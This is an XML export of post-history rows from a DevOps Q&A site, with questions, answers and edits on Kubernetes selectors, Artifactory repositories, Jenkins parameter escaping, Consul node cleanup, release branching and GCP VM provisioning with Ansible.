  <row Id="29488" PostHistoryTypeId="5" PostId="9846" RevisionGUID="36dbcb39-903c-4ca4-bf99-df85cfc64085" CreationDate="2019-11-18T21:17:04.317" UserId="18253" Comment="added 796 characters in body" Text="I'm working with yaml files built for an older version of the API&#xD;&#xA;&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;&#xD;&#xA;I tried changing to &#xD;&#xA;&#xD;&#xA;    apiVersion: apps/v1 &#xD;&#xA;&#xD;&#xA;But couldn't figure out the correct &quot;selector&quot; formatting. So I changed back to v1beta1&#xD;&#xA;&#xD;&#xA;Then I ran across this command:&#xD;&#xA;&#xD;&#xA;    kubectl convert -f . | kubectl -n robot-shop create -f -&#xD;&#xA;&#xD;&#xA;All seemed to deploy correctly. But now when I try to reach my app, I get connection refused. After some investigation, I took a look at iptables and see this:&#xD;&#xA;&#xD;&#xA;    iptables -L | grep 30080&#xD;&#xA;    REJECT     tcp  --  0.0.0.0/0            0.0.0.0/0            &#xD;&#xA;    /* robot-shop/web:8080 has no endpoints */ ADDRTYPE match &#xD;&#xA;    dst-type LOCAL tcp dpt:30080 reject-with icmp-port- &#xD;&#xA;    unreachable&#xD;&#xA;&#xD;&#xA;After some more research, this seems to have something to do with kube-proxy and &quot;selector&quot;.&#xD;&#xA;&#xD;&#xA;Question is, what's the right course of action? &lt;br&gt;&#xD;&#xA;1. Change the fw rule to ACCEPT&lt;br&gt;&#xD;&#xA;2. make the correct changes to yaml file (need help with that)&lt;br&gt;&#xD;&#xA;&amp;emsp;a. If so, do I delete the deployment and then make correct changes, then redeploy?&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&lt;br&gt;&#xD;&#xA;Here's my yaml file:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;apiVersion: extensions/v1beta1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  annotations:&#xD;&#xA;    kompose.cmd: kompose -f ../docker-compose.yaml convert&#xD;&#xA;    kompose.version: 1.10.0 (8bb0907)&#xD;&#xA;  creationTimestamp: null&#xD;&#xA;  labels:&#xD;&#xA;    io.kompose.service: web&#xD;&#xA;  name: web&#xD;&#xA;spec:&#xD;&#xA;  replicas: 1&#xD;&#xA;  strategy: {}&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      creationTimestamp: null&#xD;&#xA;      labels:&#xD;&#xA;        io.kompose.service: web&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - image: linuxacademycontent/rs-web:latest&#xD;&#xA;        name: web&#xD;&#xA;        ports:&#xD;&#xA;        - containerPort: 8080&#xD;&#xA;        resources:&#xD;&#xA;          limits:&#xD;&#xA;            cpu: 200m&#xD;&#xA;            memory: 100Mi&#xD;&#xA;          requests:&#xD;&#xA;            cpu: 100m&#xD;&#xA;            memory: 50Mi&#xD;&#xA;      restartPolicy: Always&#xD;&#xA;status: {}&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29489" PostHistoryTypeId="2" PostId="9849" RevisionGUID="b11cb600-4e11-49ee-bd91-6b9aa323289e" CreationDate="2019-11-18T22:25:50.300" UserId="18256" Text="Please try this article from JFrog:&#xD;&#xA;&#xD;&#xA;https://www.jfrog.com/confluence/display/RTF20/Understanding+Repositories&#xD;&#xA;&#xD;&#xA;It covers local, remote and virtual repositories in a friendly way." ContentLicense="CC BY-SA 4.0" />
  <row Id="29490" PostHistoryTypeId="2" PostId="9850" RevisionGUID="24564e9c-d9f8-4300-98b6-1db946c4d963" CreationDate="2019-11-18T22:35:54.193" UserId="18256" Text="Prior to apps/v1 the selector field was implicitly picked up from the pod template's labels. So in your case it would be:&#xD;&#xA;```&#xD;&#xA;spec:&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      io.kompose.service: web&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Starting with apps/v1 an explicit selector field is required by the Kubernetes API.&#xD;&#xA;&#xD;&#xA;I would suggest not to change the iptables on your own as it it the responsibility of your Kubernetes network plugin and is most likely done well.&#xD;&#xA;&#xD;&#xA;As far as I am concerned you may simple update the Deployment manifest and no uninstall is required." ContentLicense="CC BY-SA 4.0" />
  <row Id="29492" PostHistoryTypeId="5" PostId="9846" RevisionGUID="83a4a52d-19c9-4f53-b420-7e1b71cf5100" CreationDate="2019-11-19T04:57:30.030" UserId="18253" Comment="added 473 characters in body" Text="I'm working with yaml files built for an older version of the API&#xD;&#xA;&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;&#xD;&#xA;I tried changing to &#xD;&#xA;&#xD;&#xA;    apiVersion: apps/v1 &#xD;&#xA;&#xD;&#xA;But couldn't figure out the correct &quot;selector&quot; formatting. So I changed back to v1beta1&#xD;&#xA;&#xD;&#xA;Then I ran across this command:&#xD;&#xA;&#xD;&#xA;    kubectl convert -f . | kubectl -n robot-shop create -f -&#xD;&#xA;&#xD;&#xA;All seemed to deploy correctly. But now when I try to reach my app, I get connection refused. After some investigation, I took a look at iptables and see this:&#xD;&#xA;&#xD;&#xA;    iptables -L | grep 30080&#xD;&#xA;    REJECT     tcp  --  0.0.0.0/0            0.0.0.0/0            &#xD;&#xA;    /* robot-shop/web:8080 has no endpoints */ ADDRTYPE match &#xD;&#xA;    dst-type LOCAL tcp dpt:30080 reject-with icmp-port- &#xD;&#xA;    unreachable&#xD;&#xA;&#xD;&#xA;After some more research, this seems to have something to do with kube-proxy and &quot;selector&quot;.&#xD;&#xA;&#xD;&#xA;Question is, what's the right course of action? &lt;br&gt;&#xD;&#xA;1. Change the fw rule to ACCEPT&lt;br&gt;&#xD;&#xA;2. make the correct changes to yaml file (need help with that)&lt;br&gt;&#xD;&#xA;&amp;emsp;a. If so, do I delete the deployment and then make correct changes, then redeploy?&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&lt;br&gt;&#xD;&#xA;Here's my deployment yaml file:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;apiVersion: extensions/v1beta1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  annotations:&#xD;&#xA;    kompose.cmd: kompose -f ../docker-compose.yaml convert&#xD;&#xA;    kompose.version: 1.10.0 (8bb0907)&#xD;&#xA;  creationTimestamp: null&#xD;&#xA;  labels:&#xD;&#xA;    io.kompose.service: web&#xD;&#xA;  name: web&#xD;&#xA;spec:&#xD;&#xA;  replicas: 1&#xD;&#xA;  strategy: {}&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      creationTimestamp: null&#xD;&#xA;      labels:&#xD;&#xA;        io.kompose.service: web&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - image: linuxacademycontent/rs-web:latest&#xD;&#xA;        name: web&#xD;&#xA;        ports:&#xD;&#xA;        - containerPort: 8080&#xD;&#xA;        resources:&#xD;&#xA;          limits:&#xD;&#xA;            cpu: 200m&#xD;&#xA;            memory: 100Mi&#xD;&#xA;          requests:&#xD;&#xA;            cpu: 100m&#xD;&#xA;            memory: 50Mi&#xD;&#xA;      restartPolicy: Always&#xD;&#xA;status: {}&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;And my service yaml file:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Service&#xD;&#xA;metadata:&#xD;&#xA;  annotations:&#xD;&#xA;    kompose.cmd: kompose -f ../docker-compose.yaml convert&#xD;&#xA;    kompose.version: 1.10.0 (8bb0907)&#xD;&#xA;  creationTimestamp: null&#xD;&#xA;  labels:&#xD;&#xA;    io.kompose.service: web&#xD;&#xA;  name: web&#xD;&#xA;spec:&#xD;&#xA;  type: NodePort&#xD;&#xA;  ports:&#xD;&#xA;  - name: &quot;8080&quot;&#xD;&#xA;    port: 8080&#xD;&#xA;    targetPort: 8080&#xD;&#xA;    nodePort: 30080&#xD;&#xA;  selector:&#xD;&#xA;    io.kompose.service: web&#xD;&#xA;status:&#xD;&#xA;  loadBalancer: {}&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29493" PostHistoryTypeId="2" PostId="9851" RevisionGUID="cbbb2500-b047-4211-849f-a6030a25b7b3" CreationDate="2019-11-19T07:56:44.850" UserId="4175" Text="I am trying to use a template from the Azure Marketplace. Everything works, but it defaults to storage sizes that are by orders of magnitude too large for my usecase.&#xD;&#xA;&#xD;&#xA;At the end of the process, I can &quot;kind of&quot; export the template files in text form - at  least parameters and variables, but there are no values for the storage here. I assume that those are hard coded inside whatever scripts they use internally to deploy that application. I see no way to have a look at or modify those scripts.&#xD;&#xA;&#xD;&#xA;Is there something that can be done in such a case? Should the scripts behind marketplace apps be available somewhere (I just didn't see them)? Or are they usually closed off from the user?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29494" PostHistoryTypeId="1" PostId="9851" RevisionGUID="cbbb2500-b047-4211-849f-a6030a25b7b3" CreationDate="2019-11-19T07:56:44.850" UserId="4175" Text="Change container size in a template from the Marketplace" ContentLicense="CC BY-SA 4.0" />
  <row Id="29495" PostHistoryTypeId="3" PostId="9851" RevisionGUID="cbbb2500-b047-4211-849f-a6030a25b7b3" CreationDate="2019-11-19T07:56:44.850" UserId="4175" Text="&lt;azure&gt;&lt;marketplace&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29496" PostHistoryTypeId="50" PostId="1693" RevisionGUID="5dcd081d-21a2-4ebd-97c5-dcbb87842806" CreationDate="2019-11-19T08:00:45.180" UserId="-1" />
  <row Id="29498" PostHistoryTypeId="50" PostId="1875" RevisionGUID="55c5ce6a-b5f1-45f0-bdd5-c585a6da2812" CreationDate="2019-11-19T09:01:05.283" UserId="-1" />
  <row Id="29508" PostHistoryTypeId="50" PostId="3247" RevisionGUID="7121e12b-791a-4da1-8c4b-5f47d81baad8" CreationDate="2019-11-19T11:02:40.357" UserId="-1" />
  <row Id="29511" PostHistoryTypeId="2" PostId="9854" RevisionGUID="169498a5-9357-437c-8893-da74a09617a8" CreationDate="2019-11-19T17:20:05.663" UserId="397" Text="The two approaches whilst somewhat overlapping solve two different problems:&#xD;&#xA;&#xD;&#xA; * Feature flags allow you to **decouple the action of deployment from the action of release**.  i.e. you can push a change to an API that adds functionality to support a new feature, then when your product owner wants to release it all they need to do is toggle the feature on.&#xD;&#xA;&#xD;&#xA; * API versioning enables you to make changes to your API without breaking compatibility with older clients.&#xD;&#xA;&#xD;&#xA;In both cases, you need to ensure that old feature flags and old API versions are eventually removed from the codebase or it will become very complicated very quickly.  &#xD;&#xA;&#xD;&#xA;The deciding factor comes down to whether or not you have control over all of your clients if you can guarantee that you can make changes to both your clients and the API in such a way that they will remain compatible, or incompatible clients can be removed from your ecosystem very quickly you probably don't need API Versioning." ContentLicense="CC BY-SA 4.0" />
  <row Id="29516" PostHistoryTypeId="2" PostId="9855" RevisionGUID="0ef22458-f3a2-4baa-a1f6-fc82831f1b98" CreationDate="2019-11-19T18:20:22.023" UserId="18254" Text="We are currently using Git flow branching strategy and looking to go to a trunk based strategy - although we are quite a ways away from getting there I am trying to get all my ducks in a row, prioritize and eventually get there. I feel that its not practical to go from having multiple branches with merges etc directly to just having one branch with automated CD from that branch. I want to do this in steps while we work up our automated tests, code coverage etc. So, until then we will have to batch up our features for releases. &#xD;&#xA;&#xD;&#xA;I was looking at something similar to this:&#xD;&#xA;[![Release flow from Azure Devops  -https://docs.microsoft.com/en-us/azure/devops/learn/devops-at-microsoft/release-flow][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/6I9aE.png&#xD;&#xA;&#xD;&#xA;I could have a release branch where I would cherry pick the commits and batch them up. Obviously, we would have automated tests etc. running on the master branch. But, what about the release branches? What sort of tests should run on the release branch and at what frequency? Running all tests on both branches seems like an overkill. Since the commits are already tested in master branch, should we run only regression tests on release branch to identify any potential issues? Maybe also a CI build on the release branch that at least makes sure that the release branch is in a buildable state after a cherry-pick commit is completed?&#xD;&#xA;&#xD;&#xA;I would appreciate your thoughts about this. Thanks for your time...VK" ContentLicense="CC BY-SA 4.0" />
  <row Id="29517" PostHistoryTypeId="1" PostId="9855" RevisionGUID="0ef22458-f3a2-4baa-a1f6-fc82831f1b98" CreationDate="2019-11-19T18:20:22.023" UserId="18254" Text="Trunk Based Development - release branch testing" ContentLicense="CC BY-SA 4.0" />
  <row Id="29518" PostHistoryTypeId="3" PostId="9855" RevisionGUID="0ef22458-f3a2-4baa-a1f6-fc82831f1b98" CreationDate="2019-11-19T18:20:22.023" UserId="18254" Text="&lt;azure-devops&gt;&lt;testing&gt;&lt;cicd&gt;&lt;branch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29519" PostHistoryTypeId="2" PostId="9856" RevisionGUID="ec3d0c13-8346-4ebd-8657-f7cec7850e55" CreationDate="2019-11-19T18:36:06.420" UserId="736" Text="I set up my jenkins job to take in the parameter `payload` and set its value to `test\ntest`.&#xD;&#xA;&#xD;&#xA;My jenkins script is the following:&#xD;&#xA;&#xD;&#xA;    def hardset = &quot;test\ntest&quot;&#xD;&#xA;        &#xD;&#xA;    echo &quot;param:&quot;&#xD;&#xA;    def cleanParam = jenkinsParam.replaceAll(&quot;[\\n\\t ]&quot;,&quot;Yes&quot;);&#xD;&#xA;    echo cleanParam&#xD;&#xA;        &#xD;&#xA;    echo &quot;----------&quot;&#xD;&#xA;        &#xD;&#xA;    echo &quot;hardset:&quot;&#xD;&#xA;    def cleanHardset = hardset.replaceAll(&quot;[\\n\\t ]&quot;,&quot;Yes&quot;);&#xD;&#xA;    echo cleanHardset&#xD;&#xA;&#xD;&#xA;The output is (cleaned up to remove jenkins pipeline echos):&#xD;&#xA;&#xD;&#xA;    test\ntest&#xD;&#xA;&#xD;&#xA;    param:&#xD;&#xA;    test\ntest&#xD;&#xA;&#xD;&#xA;    ----------&#xD;&#xA;&#xD;&#xA;    hardset:&#xD;&#xA;    testYestest&#xD;&#xA;&#xD;&#xA;Why? What's different between reading in a jenkins parameter and setting one in the script body?&#xD;&#xA;&#xD;&#xA;In practice, I'm trying to replace troublesome `\n` coming in from a lambda payload, but this is throwing a wrench in my plans.&#xD;&#xA;&#xD;&#xA;doing something like `def hardsetParam = jenkinsParam` to set it in the script body doesn't seem to work either, sadly." ContentLicense="CC BY-SA 4.0" />
  <row Id="29520" PostHistoryTypeId="1" PostId="9856" RevisionGUID="ec3d0c13-8346-4ebd-8657-f7cec7850e55" CreationDate="2019-11-19T18:36:06.420" UserId="736" Text="jenkins parameter behaves differently from internally defined variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="29521" PostHistoryTypeId="3" PostId="9856" RevisionGUID="ec3d0c13-8346-4ebd-8657-f7cec7850e55" CreationDate="2019-11-19T18:36:06.420" UserId="736" Text="&lt;jenkins&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29522" PostHistoryTypeId="2" PostId="9857" RevisionGUID="33e62ea4-21a1-488f-a36e-89fbdc2c8534" CreationDate="2019-11-19T19:26:05.987" UserId="17940" Text="I work at a small company that has several legacy projects that all require different versions of visual studio to run. The company has servers on site and I have a small cloud budget. I want to set up the projects such that it doesn't matter which visual studio the project is opened it, it should still run the same. The projects are all asp.net, run on IIS, and use SQL Server. I'd like to know where to get started, such as should I try to containerize the applications? Should I set up some sort of VM Image with the projects on it? Any help would be appreciated! " ContentLicense="CC BY-SA 4.0" />
  <row Id="29523" PostHistoryTypeId="1" PostId="9857" RevisionGUID="33e62ea4-21a1-488f-a36e-89fbdc2c8534" CreationDate="2019-11-19T19:26:05.987" UserId="17940" Text="Dev environment for legacy Visual Studio code?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29524" PostHistoryTypeId="3" PostId="9857" RevisionGUID="33e62ea4-21a1-488f-a36e-89fbdc2c8534" CreationDate="2019-11-19T19:26:05.987" UserId="17940" Text="&lt;docker&gt;&lt;windows&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29525" PostHistoryTypeId="5" PostId="9856" RevisionGUID="a1b7c622-23a7-41aa-8858-273f53750ed7" CreationDate="2019-11-19T19:41:16.293" UserId="736" Comment="response to comment" Text="I set up my jenkins job to take in the parameter `payload` and set its value to `test\ntest`.&#xD;&#xA;&#xD;&#xA;My jenkins script is the following:&#xD;&#xA;&#xD;&#xA;    def hardset = &quot;test\ntest&quot;&#xD;&#xA;        &#xD;&#xA;    echo &quot;param:&quot;&#xD;&#xA;    def cleanParam = jenkinsParam.replaceAll(&quot;[\\n\\t ]&quot;,&quot;Yes&quot;);&#xD;&#xA;    echo cleanParam&#xD;&#xA;        &#xD;&#xA;    echo &quot;----------&quot;&#xD;&#xA;        &#xD;&#xA;    echo &quot;hardset:&quot;&#xD;&#xA;    def cleanHardset = hardset.replaceAll(&quot;[\\n\\t ]&quot;,&quot;Yes&quot;);&#xD;&#xA;    echo cleanHardset&#xD;&#xA;&#xD;&#xA;The output is (cleaned up to remove jenkins pipeline echos):&#xD;&#xA;&#xD;&#xA;    test\ntest&#xD;&#xA;&#xD;&#xA;    param:&#xD;&#xA;    test\ntest&#xD;&#xA;&#xD;&#xA;    ----------&#xD;&#xA;&#xD;&#xA;    hardset:&#xD;&#xA;    testYestest&#xD;&#xA;&#xD;&#xA;Why? What's different between reading in a jenkins parameter and setting one in the script body?&#xD;&#xA;&#xD;&#xA;In practice, I'm trying to replace troublesome `\n` coming in from a lambda payload, but this is throwing a wrench in my plans.&#xD;&#xA;&#xD;&#xA;doing something like `def hardsetParam = jenkinsParam` to set it in the script body doesn't seem to work either, sadly.&#xD;&#xA;&#xD;&#xA;In response to a comment - doing `echo jenkinsParam` gives me `test\ntest`. To my eyes, it's identical to hardset." ContentLicense="CC BY-SA 4.0" />
  <row Id="29526" PostHistoryTypeId="2" PostId="9858" RevisionGUID="766bd9a8-58e4-4dc2-babe-796b9f474985" CreationDate="2019-11-19T19:49:33.750" UserId="2708" Text="There are different strategies and, depending on your specific problem domain, you need to decide what makes sense for you.&#xD;&#xA;&#xD;&#xA;For server side applications, especially micro services, you typically don't need release branches. You can work with pull requests, but once they hit master, it is common to deploy (from master) and never look back. Managing release branches comes with a cost and for server applications, there is not much benefit from my experience.&#xD;&#xA;&#xD;&#xA;For other type of applications, release branches do make a lot of sense. In my current job, I'm working partly on Browser extensions where releases need to be planned. In contrast to the server side, pushing a broken extension release is something that you want to avoid at all costs, especially as rolling back is not possible. That is why we have code freezes (every two weeks or so).&#xD;&#xA;&#xD;&#xA;At code freeze, we create a release branch from the current master. Trunk based development continues as before, but all new changes will not make it in the upcoming release. Instead there is a testing and stabilization window, where only bug fixes will be accept on the release branch. When a bug is found, it will be fixed on master first, and only then cherry-picked to the release branch. Once bugs are fixed, the release goes out and the whole process repeats.&#xD;&#xA;&#xD;&#xA;Stable cycles of around 2-3 weeks tend to work well. Shorter is also good, but longer cycles can be problematic, as it encourages people to squeeze as much as possible in the upcoming release. Otherwise, if you miss it, you might have to wait for months. I would strong recommend to favor multiple small and predicable release cycles over big and unpredictable ones.&#xD;&#xA;&#xD;&#xA;Our CI system runs for all development relevant branches (i.e., on master and all pull requests). To be best of my knowledge, we do not run tests for the release branches. Normally, a well-tested bug fix from master does not create problems on the release branch. However, I see no fundamental reason not to run tests on the release branch, too.&#xD;&#xA;&#xD;&#xA;If you set it up from scratch, I would include release branches. However, from my personal experience, master (and pull requests) alone should give you most of the benefits already. Running tests on master helps to enforce that development does not break existing tests, or introduces warnings or other coding style violations.&#xD;&#xA;&#xD;&#xA;In our setup, the CI system (Jenkins) runs after each commit. If there are no changes, it will not be triggered. However, in my previous job, we had costly integration tests, which were executed once a day but only on master, while unit tests ran after each commit. Again, that depends on your specific project." ContentLicense="CC BY-SA 4.0" />
  <row Id="29527" PostHistoryTypeId="2" PostId="9859" RevisionGUID="d48caf48-7186-4ff9-b043-1bd8be2e5477" CreationDate="2019-11-19T19:50:09.887" UserId="12138" Text="It seems that the `jenkinsParam` is holding the output after escaping the special characters.&#xD;&#xA;You are assuming that `jenkinsParam = &quot;test\ntest&quot;` and however it looks like it stores it as `jenkinsParam = &quot;test\\ntest&quot;`&#xD;&#xA;&#xD;&#xA;See how it behaves if I use echo it these two different cases:&#xD;&#xA;&#xD;&#xA;(I have tested this in groovy shell)&#xD;&#xA;&#xD;&#xA;**1st Case:**&#xD;&#xA;&#xD;&#xA;    jenkinsParam = &quot;test\ntest&quot;&#xD;&#xA;    print jenkinsParam&#xD;&#xA;    test&#xD;&#xA;    test&#xD;&#xA;&#xD;&#xA;** 2nd Case:**&#xD;&#xA;&#xD;&#xA;    jenkinsParam = &quot;test\\ntest&quot;&#xD;&#xA;    print jenkinsParam&#xD;&#xA;    test\ntest&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29528" PostHistoryTypeId="5" PostId="9859" RevisionGUID="cfc519a2-0087-4d87-801f-78cf5da42323" CreationDate="2019-11-19T19:59:30.690" UserId="12138" Comment="updated after the comment." Text="It seems that the `jenkinsParam` is holding the output after escaping the special characters.&#xD;&#xA;You are assuming that `jenkinsParam = &quot;test\ntest&quot;` and however it looks like it stores it as `jenkinsParam = &quot;test\\ntest&quot;`&#xD;&#xA;&#xD;&#xA;See how it behaves if I use echo it these two different cases:&#xD;&#xA;&#xD;&#xA;(I have tested this in groovy shell)&#xD;&#xA;&#xD;&#xA;**1st Case:**&#xD;&#xA;&#xD;&#xA;    jenkinsParam = &quot;test\ntest&quot;&#xD;&#xA;    print jenkinsParam&#xD;&#xA;    test&#xD;&#xA;    test&#xD;&#xA;&#xD;&#xA;** 2nd Case:**&#xD;&#xA;&#xD;&#xA;    jenkinsParam = &quot;test\\ntest&quot;&#xD;&#xA;    print jenkinsParam&#xD;&#xA;    test\ntest&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In order to replace the `payload` which is stored in the `jenkinsParam` (2nd case behaviour), you need to replace the complete `\\n` from the string. Check the example below:&#xD;&#xA;&#xD;&#xA;    output = jenkinsParam.replaceAll('\\\\n', 'yes')&#xD;&#xA;    print output&#xD;&#xA;    testyestest" ContentLicense="CC BY-SA 4.0" />
  <row Id="29529" PostHistoryTypeId="2" PostId="9860" RevisionGUID="b0aa493a-f7cb-4f50-add0-b71f52c30c69" CreationDate="2019-11-20T01:35:25.587" UserId="18272" Text="Background: When running Consul client-mode in AWS, EC2s are constantly getting replaced, which results in a lot of dead client nodes when looking at the Consul UI or via `consul members`.&#xD;&#xA;&#xD;&#xA;Already tried to enabled `reconnect_timeout`, `leave_on_terminate` (default to true on Client but tried to turn on anyway), and Autopilot `cleanup_dead_servers` to no avail.&#xD;&#xA;&#xD;&#xA;The delay seems to be inconsistent as well, some got reaped after 4~7 days, some are never reaped, `consul force-leave` had to be used.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29530" PostHistoryTypeId="1" PostId="9860" RevisionGUID="b0aa493a-f7cb-4f50-add0-b71f52c30c69" CreationDate="2019-11-20T01:35:25.587" UserId="18272" Text="Consul: how to remove dead client nodes quickly" ContentLicense="CC BY-SA 4.0" />
  <row Id="29531" PostHistoryTypeId="3" PostId="9860" RevisionGUID="b0aa493a-f7cb-4f50-add0-b71f52c30c69" CreationDate="2019-11-20T01:35:25.587" UserId="18272" Text="&lt;linux&gt;&lt;consul&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29532" PostHistoryTypeId="2" PostId="9861" RevisionGUID="4b559020-c50a-4aa4-b7f2-b3aef18dd658" CreationDate="2019-11-20T11:43:36.990" UserId="12524" Text="&gt; ... legacy projects that all require different versions of visual studio ... &#xD;&#xA;&#xD;&#xA;Don't you just *love* Visual Studio?&#xD;&#xA;&#xD;&#xA;&gt; ... I want to set up the projects such that it doesn't matter which visual studio the project is opened ... &#xD;&#xA;&#xD;&#xA;If your &quot;legacy&quot; goes back beyond .Net 2, then you're out of luck. &#xD;&#xA;&#xD;&#xA;New, shiny versions of Visual Studio won't open .Net 1.* projects and will shrink away *in horror* from anything that needs anything created in 'Studio 6 (except, possibly, C++, the one language that's survived .Net-ification largely unscathed).  &#xD;&#xA;&#xD;&#xA;Most of the newer stuff will happily co-exist, but you'll probably need to think about  containerising the earlier stuff. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29533" PostHistoryTypeId="50" PostId="9501" RevisionGUID="327c4859-3306-4dd2-8258-1af9fc6550ad" CreationDate="2019-11-20T12:02:20.283" UserId="-1" />
  <row Id="29534" PostHistoryTypeId="5" PostId="9849" RevisionGUID="2418ddd5-55c3-4692-9f0d-44f939cdaa15" CreationDate="2019-11-20T12:34:51.623" UserId="18256" Comment="added 768 characters in body" Text="Local repositories serve artifacts from your local storage. These are found in paths like this one:&#xD;&#xA;&#xD;&#xA;```http://&lt;host&gt;:&lt;port&gt;/artifactory/&lt;local-repository-name&gt;/&lt;artifact-path&gt;```&#xD;&#xA;&#xD;&#xA;Remote repositories act as proxies to remote locations which may e.g. be other Artifactory servers. They also provide caching. These are found in paths like this one:&#xD;&#xA;&#xD;&#xA;```http://&lt;host&gt;:&lt;port&gt;/artifactory/&lt;remote-repository-name&gt;/&lt;artifact-path&gt;```&#xD;&#xA;&#xD;&#xA;Virtual repositories provide a way to logically group many repositories under a common name. Example path is following:&#xD;&#xA;&#xD;&#xA;```http://&lt;host&gt;:&lt;port&gt;/artifactory/&lt;virtual-repository-name&gt;/&lt;artifact-path&gt;```&#xD;&#xA;&#xD;&#xA;There is a default virtual repository called `repo` which groups all local and remote repositories.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please try this article from JFrog for more details. It covers local, remote and virtual repositories in a friendly way:&#xD;&#xA;&#xD;&#xA;https://www.jfrog.com/confluence/display/RTF20/Understanding+Repositories&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29535" PostHistoryTypeId="2" PostId="9862" RevisionGUID="1e92a9be-28f4-49a1-9532-c0d9a9ef03e8" CreationDate="2019-11-20T13:11:10.853" UserId="18136" Text="I create VM instance using ansible module `gcp_compute_instance`&#xD;&#xA;My code:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - name: Create jenkins node-1&#xD;&#xA;      hosts: localhost&#xD;&#xA;      connection: local&#xD;&#xA;      gather_facts: no&#xD;&#xA;      vars:&#xD;&#xA;        address: &lt;my ip&gt;&#xD;&#xA;        project_id: geocitizen-app&#xD;&#xA;        machine_type: f1-micro&#xD;&#xA;        machine_name: jenkins-node-1&#xD;&#xA;        image: https://www.googleapis.com/compute/v1/projects/centos-cloud/global/images/centos-7-v20191014&#xD;&#xA;        zone: europe-north1-a&#xD;&#xA;        service_email: log@project-app.iam.gserviceaccount.com&#xD;&#xA;        startup_script_url: gs://project/startup.sh&#xD;&#xA;        service_account_scope: https://www.googleapis.com/auth/devstorage.read_only&#xD;&#xA;      tasks:&#xD;&#xA;       - name: Launch instances&#xD;&#xA;         gcp_compute_instance:&#xD;&#xA;           auth_kind: serviceaccount&#xD;&#xA;           name: &quot;{{ machine_name }}&quot;&#xD;&#xA;           machine_type: &quot;{{ machine_type }}&quot;&#xD;&#xA;           project: &quot;{{ project_id }}&quot;&#xD;&#xA;           zone: &quot;{{ zone }}&quot;&#xD;&#xA;           network_interfaces:&#xD;&#xA;           - network:&#xD;&#xA;             access_configs:&#xD;&#xA;             - name: External NAT&#xD;&#xA;               nat_ip: &#xD;&#xA;                 address: &quot;{{ node_1_ip }}&quot;&#xD;&#xA;               type: ONE_TO_ONE_NAT&#xD;&#xA;           disks:&#xD;&#xA;           - auto_delete: 'true'&#xD;&#xA;             boot: 'true'&#xD;&#xA;             initialize_params:&#xD;&#xA;               source_image: &quot;{{ image }}&quot;&#xD;&#xA;           tags:&#xD;&#xA;             items:&#xD;&#xA;             - jenkins-server&#xD;&#xA;             - http-server&#xD;&#xA;           service_accounts:&#xD;&#xA;           - email: &quot;{{ service_email }}&quot;&#xD;&#xA;             scopes: &#xD;&#xA;             - &quot;{{ service_account_scope }}&quot;&#xD;&#xA;           metadata:&#xD;&#xA;             startup-script-url: &quot;{{ startup_script_url }}&quot;&#xD;&#xA;&#xD;&#xA;At this point i have startup-script-url. This scrupt deploy my public key to newly created VM instance:&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;    iniFile=/var/opt/inited.ini&#xD;&#xA;    if test -f &quot;$iniFile&quot;; then&#xD;&#xA;        exit 0&#xD;&#xA;    else&#xD;&#xA;    	useradd ssh&#xD;&#xA;    	runuser -l ssh -c &quot;mkdir -p ~/.ssh&quot;&#xD;&#xA;    	runuser -l ssh -c &quot;echo 'ssh-rsa &lt;my public key&gt;' &gt;&gt; ~/.ssh/authorized_keys&quot;&#xD;&#xA;    	runuser -l ssh -c &quot;chmod -R go= ~/.ssh&quot;&#xD;&#xA;    	touch /var/opt/inited.ini&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Can I add public key when I create VM without using startup script? I read&#xD;&#xA;https://cloud.google.com/compute/docs/instances/adding-removing-ssh-keys But i don't understand how I can use it in my playbook." ContentLicense="CC BY-SA 4.0" />
  <row Id="29536" PostHistoryTypeId="1" PostId="9862" RevisionGUID="1e92a9be-28f4-49a1-9532-c0d9a9ef03e8" CreationDate="2019-11-20T13:11:10.853" UserId="18136" Text="How can I set public key on creation VM on GCP?" ContentLicense="CC BY-SA 4.0" />
